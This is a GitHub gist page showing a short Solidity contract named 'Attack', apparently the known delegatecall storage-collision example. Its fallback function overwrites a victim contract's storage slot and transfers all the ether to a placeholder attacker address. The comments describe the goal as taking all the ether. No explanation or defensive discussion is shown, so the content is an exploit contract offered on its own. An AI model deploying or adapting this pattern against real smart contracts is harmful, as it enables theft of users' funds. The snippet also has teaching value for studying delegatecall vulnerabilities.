Skip to content

Instantly share code, notes, and snippets.

@vasa-develop
Created July 21, 2018 18:34
Show Gist options
  • Save vasa-develop/b47fe7868411361c3ef436c48adbc91b to your computer and use it in GitHub Desktop.
Save vasa-develop/b47fe7868411361c3ef436c48adbc91b to your computer and use it in GitHub Desktop.
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment